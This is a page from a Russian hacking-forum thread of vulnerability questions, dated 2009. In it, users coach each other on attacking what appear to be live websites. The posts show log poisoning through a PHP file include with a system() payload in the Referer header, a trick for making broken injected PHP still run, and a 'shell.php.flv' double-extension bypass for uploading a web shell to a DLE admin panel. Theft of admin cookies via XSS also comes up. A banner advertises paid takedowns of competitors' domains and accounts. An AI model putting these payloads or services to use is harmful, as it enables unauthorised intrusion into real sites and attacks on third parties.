Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 849 из 2438

849

Опции темы

Поиск в этой теме

Опции просмотра

#8481

12.08.2009, 03:31

~~mr.gr33n~~

Banned

Регистрация: 06.07.2009

Сообщений: 74

С нами: 8867227

Репутация: 209

не выполнится он так (((
разве что только xss )

#8482

12.08.2009, 03:33

RazyKK

Познающий

Регистрация: 09.02.2009

Сообщений: 70

С нами: 9078977

Репутация: 34

угу сопру куки админа,когда есть доступ к бд форума)))

#8483

12.08.2009, 03:40

~~mr.gr33n~~

Banned

Регистрация: 06.07.2009

Сообщений: 74

С нами: 8867227

Репутация: 209

Ну дык я не говорю что куки тащить надо, просто говорю что пхп код не выполнится таким макаром, только html )

#8484

12.08.2009, 04:51

RazyKK

Познающий

Регистрация: 09.02.2009

Сообщений: 70

С нами: 9078977

Репутация: 34

нашел файл логов через php incl,в reffer вставил
http://www.site<?php system(ls); ?>site.com/index.php
вылазит ошибка Parse error: syntax error, unexpected T_STRING что не так?

#8485

12.08.2009, 04:53

xa-xa89

Участник форума

Регистрация: 17.05.2008

Сообщений: 102

С нами: 9466141

Репутация: 74

http://www.site<?php system('ls'); ?>site.com/index.php
вроде так должно быть

#8486

12.08.2009, 05:04

RazyKK

Познающий

Регистрация: 09.02.2009

Сообщений: 70

С нами: 9078977

Репутация: 34

испортил логи терь над ждать пока ошибка исчезнет)

заливка шела в дле

#8487

12.08.2009, 13:06

u36a

Познающий

Регистрация: 18.11.2008

Сообщений: 53

С нами: 9199661

Репутация: 10

заливка шела в дле

Есть доступ к dle админке, версия 7.3.

Включил возможность добавлять файлы, но к новости так прикрепить и не смог.

Да и если бы получилось, то насколько я понимаю и проверил, папка /uploads/files/ защищена .htaccess:

PHP код:


		
			
<FilesMatch ".*">

   Order allow,deny

   Deny from all

</FilesMatch>



<FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">

   Order deny,allow

   Allow from all

</FilesMatch>

Какие есть способы залить шел?

#8488

12.08.2009, 13:08

~~okthxnz~~

Banned

Регистрация: 08.08.2009

Сообщений: 46

С нами: 8820848

Репутация: 67

Тут вчера сидел в нете и решил перевести WME в яндекс.Деньги
нашол обменник
и выбрал случайно не WME а WMU, написал 10 и оплатил, ток потом дошло что я не ту валюту выбрал и кошелька у мну такого нет, при обновлении страницы у мну на яндексе светились деньги, а в WM появился кошелек WMU с 0 денежных средств
Кто нить вкурсах что это было?

#8489

12.08.2009, 13:25

L I G A

Постоянный

Регистрация: 27.07.2008

Сообщений: 614

С нами: 9362947

Репутация: 1196

Цитата:

Сообщение от u36a

Какие есть способы залить шел?

пробуй shell.php.flv

#8490

12.08.2009, 13:42

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

С нами: 11020706

Репутация: 4693

Цитата:

Сообщение от RazyKK

испортил логи терь над ждать пока ошибка исчезнет)

Можно попробовать закомментировать оставшуюся часть, к примеру на локале у меня такое пашет:

PHP код:


		
			
<?php

system('dir');

die();/*

<?php 

system(; 

?>

Ругается конечно, но работает.

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 12.08.2009 в 13:44..

Страница 849 из 2438

849

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Внести депозит

Депозит создан

Вывести депозит